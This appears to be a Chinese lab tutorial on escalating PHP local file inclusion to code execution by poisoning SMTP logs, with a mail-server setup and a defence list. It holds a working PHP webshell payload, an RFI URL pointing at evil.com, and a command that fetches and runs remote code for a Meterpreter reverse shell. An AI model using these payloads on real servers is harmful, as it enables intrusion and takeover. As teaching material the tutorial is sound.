从LFI到SMTP日志投毒到远程代码执行
字数 1210 2025-08-27 12:33:37

从LFI到SMTP日志投毒到远程代码执行 - 完整教学指南

第一部分:SMTP邮件服务器搭建

1. 环境准备

  1. 修改主机名和域名

    sudo gedit /etc/hosts
    # 添加:127.0.0.1 mail.ignite.lab ignite
    
    sudo gedit /etc/hostname
    # 修改为:ignite
    
    sudo reboot
    
  2. 验证更改

    hostname
    hostname -f
    

2. 安装Postfix

  1. 安装命令

    sudo apt-get install postfix
    
    • 选择"Internet site"作为配置类型
    • 设置系统邮件名为mail.ignite.lab
  2. 配置Postfix

    sudo gedit /etc/postfix/main.cf
    

    修改内容:

    mynetworks = 127.0.0.0/8 192.168.1.0/24
    inet_protocols = ipv4
    home_mailbox = Maildir/
    
  3. 重启服务

    sudo service postfix restart
    netstat -tnl  # 验证端口25是否监听
    

3. 安装Dovecot

  1. 安装命令

    sudo apt-get install dovecot-imapd dovecot-pop3d
    
    • 选择创建自签名SSL证书
    • 输入域名mail.ignite.lab
  2. 配置Dovecot

    • /etc/dovecot/conf.d/10-auth.conf
      disable_plaintest_auth = yes
      auth_mechanisms = plain login
      
    • /etc/dovecot/conf.d/10-mail.conf
      mail_location = maildir:/home/%u/Maildir
      
    • /etc/dovecot/conf.d/10-master.conf
      Mode = 0600
      User = postfix
      Group = postfix
      
  3. 重启服务

    sudo service dovecot restart
    netstat -tnl  # 验证端口110(POP3)和143(IMAP)是否监听
    

4. 配置邮件客户端(Thunderbird)

  1. 创建用户:

    sudo adduser sr
    sudo adduser raj
    
  2. Thunderbird配置:

    • 名称:sr
    • 邮箱:[email protected]
    • 密码:1234
    • 手动配置:
      • 接收(IMAP):192.168.1.107,端口143
      • 发送(SMTP):192.168.1.107,端口25

第二部分:文件包含攻击(LFI/RFI)

1. PHP文件包含基础

  1. include与require区别

    • include:文件不存在时继续执行
    • require:文件不存在时终止执行
    • require_once:确保文件只被包含一次
  2. 示例代码

    // footer.php
    <?php echo "<p>Copyright &copy; 2010-".date("Y")." hackingartices.in</p>"; ?>
    
    // 包含示例
    <?php include 'footer.php'; ?>
    

2. 文件包含漏洞类型

  1. 本地文件包含(LFI)

    • 包含服务器本地文件
    • 示例:http://target/vulnerabilities/fi/?page=/etc/passwd
  2. 远程文件包含(RFI)

    • 包含远程服务器文件
    • 需要allow_url_include=On
    • 示例:http://target/vulnerabilities/fi/?page=http://evil.com/shell.txt

3. 防御措施

  1. 输入验证和白名单
  2. 禁用危险函数:
    allow_url_fopen = Off
    allow_url_include = Off
    
  3. 使用最新PHP版本
  4. 最小权限原则

第三部分:从LFI到RCE的利用链

1. 初始侦察

  1. 扫描SMTP服务

    nmap -p25 192.168.1.107
    
  2. 验证LFI漏洞

    http://192.168.1.107/lfi/lfi.php?file=/etc/passwd
    

2. SMTP日志投毒

  1. 连接SMTP服务

    telnet 192.168.1.107 25
    
  2. 注入PHP代码

    MAIL FROM:<attacker@example.com>
    RCPT TO:<?php system($_GET['c']); ?>
    
  3. 通过LFI执行命令

    http://192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=ifconfig
    

3. 获取反向Shell

  1. 使用Metasploit

    use exploit/multi/script/web_delivery
    set target 1
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.1.109
    set srvport 8888
    exploit
    
  2. 执行生成的Payload

    http://192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=php -d allow_url_fopen=1 -r "eval(file_get_contents('http://192.168.1.109:8888/XYZ'));"
    
  3. 获取Meterpreter会话

    sessions 1
    meterpreter> sysinfo
    

总结

本教学详细介绍了从搭建SMTP测试环境到利用LFI漏洞,再到通过SMTP日志投毒最终实现远程代码执行的完整攻击链。关键点包括:

  1. SMTP服务器配置和邮件客户端设置
  2. PHP文件包含漏洞的原理和利用方式
  3. 通过日志投毒将LFI升级为RCE的技巧
  4. 使用Metasploit获取反向Shell的方法

防御方面应重点关注输入验证、服务配置和权限控制,特别是对文件包含功能的严格限制。

从LFI到SMTP日志投毒到远程代码执行 - 完整教学指南 第一部分:SMTP邮件服务器搭建 1. 环境准备 修改主机名和域名 : 验证更改 : 2. 安装Postfix 安装命令 : 选择"Internet site"作为配置类型 设置系统邮件名为 mail.ignite.lab 配置Postfix : 修改内容: 重启服务 : 3. 安装Dovecot 安装命令 : 选择创建自签名SSL证书 输入域名 mail.ignite.lab 配置Dovecot : /etc/dovecot/conf.d/10-auth.conf : /etc/dovecot/conf.d/10-mail.conf : /etc/dovecot/conf.d/10-master.conf : 重启服务 : 4. 配置邮件客户端(Thunderbird) 创建用户: Thunderbird配置: 名称:sr 邮箱:[ email protected ] 密码:1234 手动配置: 接收(IMAP):192.168.1.107,端口143 发送(SMTP):192.168.1.107,端口25 第二部分:文件包含攻击(LFI/RFI) 1. PHP文件包含基础 include与require区别 : include :文件不存在时继续执行 require :文件不存在时终止执行 require_once :确保文件只被包含一次 示例代码 : 2. 文件包含漏洞类型 本地文件包含(LFI) : 包含服务器本地文件 示例: http://target/vulnerabilities/fi/?page=/etc/passwd 远程文件包含(RFI) : 包含远程服务器文件 需要 allow_url_include=On 示例: http://target/vulnerabilities/fi/?page=http://evil.com/shell.txt 3. 防御措施 输入验证和白名单 禁用危险函数: 使用最新PHP版本 最小权限原则 第三部分:从LFI到RCE的利用链 1. 初始侦察 扫描SMTP服务 : 验证LFI漏洞 : 2. SMTP日志投毒 连接SMTP服务 : 注入PHP代码 : 通过LFI执行命令 : 3. 获取反向Shell 使用Metasploit : 执行生成的Payload : 获取Meterpreter会话 : 总结 本教学详细介绍了从搭建SMTP测试环境到利用LFI漏洞,再到通过SMTP日志投毒最终实现远程代码执行的完整攻击链。关键点包括: SMTP服务器配置和邮件客户端设置 PHP文件包含漏洞的原理和利用方式 通过日志投毒将LFI升级为RCE的技巧 使用Metasploit获取反向Shell的方法 防御方面应重点关注输入验证、服务配置和权限控制,特别是对文件包含功能的严格限制。